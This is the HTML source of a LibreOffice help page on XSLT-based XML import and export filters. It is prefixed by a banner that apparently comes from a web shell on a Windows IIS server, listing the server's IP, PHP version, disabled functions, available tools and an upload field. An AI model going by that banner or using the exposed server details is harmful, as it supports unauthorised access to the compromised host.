| Server IP : 121.121.20.254 / Your IP : 216.73.216.202 Web Server : Microsoft-IIS/10.0 System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64 User : IUSR ( 0) PHP Version : 8.3.28 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Program Files/LibreOffice/help/en-US/text/shared/guide/ |
Upload File : |
<!DOCTYPE html>
<html lang="en-US" dir="ltr">
<head>
<base href="../../../../">
<noscript><meta http-equiv="refresh" content="0; URL=../../../../en-US/noscript.html"></noscript>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Working With LibreOffice XML Filters </title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="en-US/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="en-US/bookmarks.js" defer></script><script type="text/javascript" src="en-US/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="en-US/text/shared/05/new_help.html"><div></div></a><a class="logo" href="en-US/text/shared/05/new_help.html"><p dir="auto">LibreOffice 24.2 Help</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Module</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contents</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Search in bookmarks for all modules" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<a name="bm_id7007583"></a><meta itemprop="keywords" content="saving,to XML"> <meta itemprop="keywords" content="loading,XML files"> <meta itemprop="keywords" content="importing,from XML"> <meta itemprop="keywords" content="exporting,to XML"> <meta itemprop="keywords" content="file filters,XML">
<meta itemprop="keywords" content="XSLT filters, see also XML filters">
<h1 id="par_idN10923" dir="auto">
<a name="xsltfilter"></a>About XML Filters
</h1>
<p id="par_idN10927" class="paragraph" dir="auto">LibreOffice <a target="_top" href="en-US/text/shared/00/00000021.html">stores documents in XML format</a>. You can create customized filters that convert the native OpenDocument XML file format used by LibreOffice into another format. These filters can be integrated into LibreOffice seamlessly so that you can save or load these formats transparently.</p>
<div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="Note Icon
" style="width:40px;height:40px;"></div>
<div class="notetext"><p dir="auto">To create an XML filter, you must have a good understanding of XML and XSLT concepts. These concepts are beyond the scope of this help.</p></div>
</div>
<br>
<p id="par_idN1093D" class="paragraph" dir="auto">An XML filter contains <span class="emph">stylesheets</span> that are written in the XSLT language. The stylesheets define the transformation from the OpenDocument file format to another XML format through export and import filters. There are three types of XML filters:</p>
<ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
<p id="par_idN10947" class="paragraph" dir="auto"><span class="emph">Import Filters</span> - load external XML files and transform the format of the files into the OpenDocument XML file format. After you install an import filter, the name of the filter is added to the list of file types in the <a target="_top" href="en-US/text/shared/01/01020000.html"><span class="emph">File Open</span></a> dialog.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
<p id="par_idN10960" class="paragraph" dir="auto"><span class="emph">Export Filters</span> - transform OpenDocument XML files and <span class="emph">save</span> the files to a different XML format. After you install an export filter, the name of the filter is added to the list of file types in the <a target="_top" href="en-US/text/shared/01/01070001.html"><span class="emph">Export</span></a> dialog.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
<p id="par_idN10979" class="paragraph" dir="auto"><span class="emph">Import/Export Filters</span> - load and save OpenDocument XML files into a different XML <span class="emph">format</span>. After you install these filters, the names of the filters are added to the list of file types in the <a target="_top" href="en-US/text/shared/01/01020000.html"><span class="emph">File Open</span></a> dialog and the <a target="_top" href="en-US/text/shared/01/01070000.html"><span class="emph">File Save As</span></a> dialog.</p>
</li>
</ul>
<a name="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a name="related"></a><span class="emph">Related Topics</span>
</p>
<div class="relatedbody" itemprop="mentions">
<p id="par_idN10B39" class="paragraph" dir="auto"><a target="_blank" href="https://www.w3.org/Style/XSL/">World Wide Web Consortium Pages on Extensible <span class="emph">Stylesheet</span> Language (XSL)</a></p>
<p id="par_idN10B4E" class="paragraph" dir="auto"><a target="_blank" href="https://www.w3.org/XML/">World Wide Web Consortium Pages on Extensible Markup Language (XML)</a></p>
<p id="par_idN10D97" class="paragraph" dir="auto"> <a target="_top" href="en-US/text/shared/00/00000021.html">XML File Formats</a>
</p>
<p id="par_id5569017" class="paragraph" dir="auto"><a target="_top" href="en-US/text/shared/guide/xsltfilter_distribute.html">Distributing XML filters</a></p>
<p id="par_id6426892" class="paragraph" dir="auto"><a target="_top" href="en-US/text/shared/guide/xsltfilter_create.html">Creating and Testing XML filters</a></p>
</div>
</div>
</div>
<div id="DonationFrame"></div>
<footer><div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/shared/guide/xsltfilter.xhp" target="_blank">/text/shared/guide/xsltfilter.xhp</a></p>
<p dir="auto">Title is: Working With %PRODUCTNAME XML Filters </p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>